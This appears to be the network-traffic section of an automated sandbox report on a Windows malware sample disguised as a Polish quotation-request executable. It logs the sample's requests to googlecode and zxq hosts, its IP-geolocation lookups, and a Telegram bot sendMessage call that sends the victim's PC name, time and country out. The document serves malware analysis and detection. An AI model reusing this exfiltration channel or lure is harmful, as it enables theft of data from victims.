Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.5:49718 -> 188.114.97.3:443 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0044289D InternetQueryDataAvailable,InternetReadFile,

1_2_0044289D

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /what-happened-to-the-old-zxq-website/ HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VatNPFTcculonAy&MD=pDKKvD8Y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:849224%0D%0ADate%20and%20Time:%2029/10/2024%20/%2023:58:44%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20849224%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
